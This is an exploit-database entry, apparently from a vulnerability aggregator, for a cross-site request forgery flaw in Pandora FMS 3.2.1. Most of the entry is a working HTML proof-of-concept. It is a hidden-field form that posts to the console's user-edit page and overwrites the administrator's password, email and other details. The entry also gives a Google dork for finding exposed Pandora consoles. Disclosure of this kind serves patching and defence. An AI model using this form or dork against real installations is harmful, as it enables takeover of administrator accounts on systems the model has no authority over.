Pandora FMS 3.2.1 - Cross Site Request Forgery

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Pandora FMS v3.2.1 Cross Site Request Forgery exploi


                                                # Exploit Title: Pandora FMS v3.2.1 Cross Site Request Forgery
# Google Dork: intitle:&#34;Pandora FMS - the Flexible Monitoring System&#34; intext:&#34;Your IP&#34;
# Date: 12-07-2011
# Author: Mehdi Boukazoula
# Software Link: http://pandorafms.org/
# Version: v 3.2.1
# Tested on: v =&#60; 3.2.1
# Description : In the page of &#34;http://127.0.0.1/pandora_console/index.php?sec=usuarios&sec2=operation/users/user_edit&#34; we # can submit the parameters : password_new ; password_conf ; phone ; fullname ; e-mail with POST request . We can exploit  # it by sending crafted html page to the administrator (The connected privileged user) with customized values .To patch    # this vulnerability the developpers must integrate an anti-bot system like CAPTCHA in the application .
--------------------------------------------------------------------------------------------------------
# Code of exploit (HTML) :

&#60;html&#62;
    &#60;head&#62;
        &#60;meta http-equiv=&#34;Content-Type&#34; content=&#34;text/html; charset=UTF-8&#34;&#62;
        &#60;title&#62;Pandora XSRF exploit
Click submit&#60;/title&#62;
    &#60;/head&#62;
    &#60;body&#62;&#60;form action=&#34;http://YOURHOST/pandora_console/index.php?sec=usuarios&sec2=operation/users/user_edit&modified=1&id=admin&#34; method=&#34;POST&#34;&#62;

&#60;input type=&#34;hidden&#34; name=&#34;language&#34; value=&#34;en_GB&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;uptbutton&#34; value=&#34;Update&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;hidden_conf&#34; value=&#34;YOUR-hidden&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;hidden_new&#34; value=&#34;YOUR-hidden&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;comments&#34; value=&#34;ADMIN-CHANGED-FOR-EVER&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;phone&#34; value=&#34;PHONE&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;fullname&#34; value=&#34;Mehdi Boukazoula&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;hidden&#34; name=&#34;email&#34; value=&#34;YOUR-EMAIL&#34; readonly=&#34;readonly&#34;&#62;
&#60;input type=&#34;submit&#34;&#62;
&#60;/form&#62;
&#60;/body&#62;
&#60;/html&#62;

# End of code

01 Jul 2014 00:00Current

7.1High risk

Vulners AI Score7.1